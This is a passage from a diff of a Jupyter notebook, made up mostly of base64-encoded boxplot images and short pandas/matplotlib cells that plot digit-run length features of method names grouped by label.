mZ+\n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\nf0P4KMDBpCcOAAAAAElFTkSuQmCC\n",
+       "text": [
+        "<matplotlib.figure.Figure at 0x1136dda50>"
+       ]
+      }
+     ],
+     "prompt_number": 151
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "df.boxplot('method_name_digit_run_longest', 'label')\n",
+      "plt.ylabel('Max length of digits')\n",
+      "plt.xlabel('')\n",
+      "plt.title('')\n",
+      "plt.suptitle('')"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "metadata": {},
+       "output_type": "pyout",
+       "prompt_number": 152,
+       "text": [
+        "<matplotlib.text.Text at 0x10ea53810>"
+       ]
+      },
+      {
+       "metadata": {},
+       "output_type": "display_data",
+       "png": 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\n",
+       "text": [
+        "<matplotlib.figure.Figure at 0x10e9ecbd0>"
+       ]
+      }
+     ],
+     "prompt_number": 152
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "df.boxplot('method_name_digit_run_avg', 'label')\n",
+      "plt.ylabel('Avg length of digits')\n",
+      "plt.xlabel('')\n",
+      "plt.title('')\n",
+      "plt.suptitle('')"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "metadata": {},
+       "output_type": "pyout",
+       "prompt_number": 153,
+       "text": [
+        "<matplotlib.text.Text at 0x10eabb2d0>"
+       ]
+      },
+      {
+       "metadata": {},
+       "output_type": "display_data",
+       "png": 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\n4GfAu4HfA48E